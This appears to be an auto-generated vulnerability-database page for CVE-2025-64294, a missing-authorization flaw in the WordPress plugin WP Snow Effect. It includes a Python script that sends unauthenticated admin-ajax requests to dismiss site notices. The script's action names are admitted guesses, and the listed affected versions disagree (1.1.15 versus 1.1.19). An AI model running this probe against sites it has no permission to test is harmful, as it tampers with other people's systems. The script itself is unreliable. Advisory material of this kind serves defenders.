Security Vulnerability Report
中文
CVE-2025-64294 CVSS 5.3 MEDIUM

CVE-2025-64294

Published: 2025-11-03 14:15:38
Last Modified: 2026-04-23 15:35:12

Description

Missing Authorization vulnerability in d3wp WP Snow Effect wp-snow-effect allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects WP Snow Effect: from n/a through <= 1.1.19.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Snow Effect <= 1.1.19 (所有版本)
d3wp WP Snow Effect插件 n/a 至 1.1.19

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64294 PoC - WP Snow Effect Broken Access Control # Target: WordPress site with WP Snow Effect plugin <= 1.1.19 # Type: Missing Authorization in notice dismissal functionality import requests import sys def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-64294 Tests the notice dismissal endpoint without authentication """ # Common WordPress AJAX endpoint ajax_endpoint = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Plugin's notice dismissal action (common pattern) # Note: Actual action name may vary, this is a demonstration vulnerable_actions = [ "dismiss_snow_notice", "wp_snow_effect_dismiss_notice", "snow_effect_dismiss", "dismiss_admin_notice" ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-64294 - WP Snow Effect Missing Authorization\n") for action in vulnerable_actions: # Test without authentication (PR:N requirement) data = { "action": action, "notice_id": "security_update", # Attempt to dismiss security notice "_wpnonce": "" # No nonce required if vulnerable } try: response = requests.post(ajax_endpoint, data=data, headers=headers, timeout=10) # Check for successful response without authentication if response.status_code == 200: # Vulnerable if returns success without auth check if "success" in response.text.lower() or response.text: print(f"[!] Potential vulnerability found with action: {action}") print(f"[!] Response: {response.text[:200]}") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {action}: {e}") print("[*] No obvious vulnerability detected with basic tests") print("[*] Manual verification recommended") return False def exploit_dismiss_notice(target_url, notice_id="security_alert"): """ Attempt to dismiss a notice without authentication """ exploit_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" payload = { "action": "dismiss_snow_notice", "notice_id": notice_id } print(f"[*] Attempting to dismiss notice: {notice_id}") response = requests.post(exploit_url, data=payload, timeout=10) if response.status_code == 200: print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text}") return response if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-64294.py <target_url>") print("Example: python cve-2025-64294.py http://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64294", "sourceIdentifier": "[email protected]", "published": "2025-11-03T14:15:37.680", "lastModified": "2026-04-23T15:35:11.540", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in d3wp WP Snow Effect wp-snow-effect allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects WP Snow Effect: from n/a through <= 1.1.19."}, {"lang": "es", "value": "Vulnerabilidad de falta de autorización en d3wp WP Snow Effect permite acceder a funcionalidades no restringidas adecuadamente por ACLs. Este problema afecta a WP Snow Effect: desde n/a hasta 1.1.15."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-snow-effect/vulnerability/wordpress-wp-snow-effect-plugin-1-1-15-broken-access-control-to-notice-dismissal-vulnerability?_s_id=cve", "source": "[email protected]"}]}}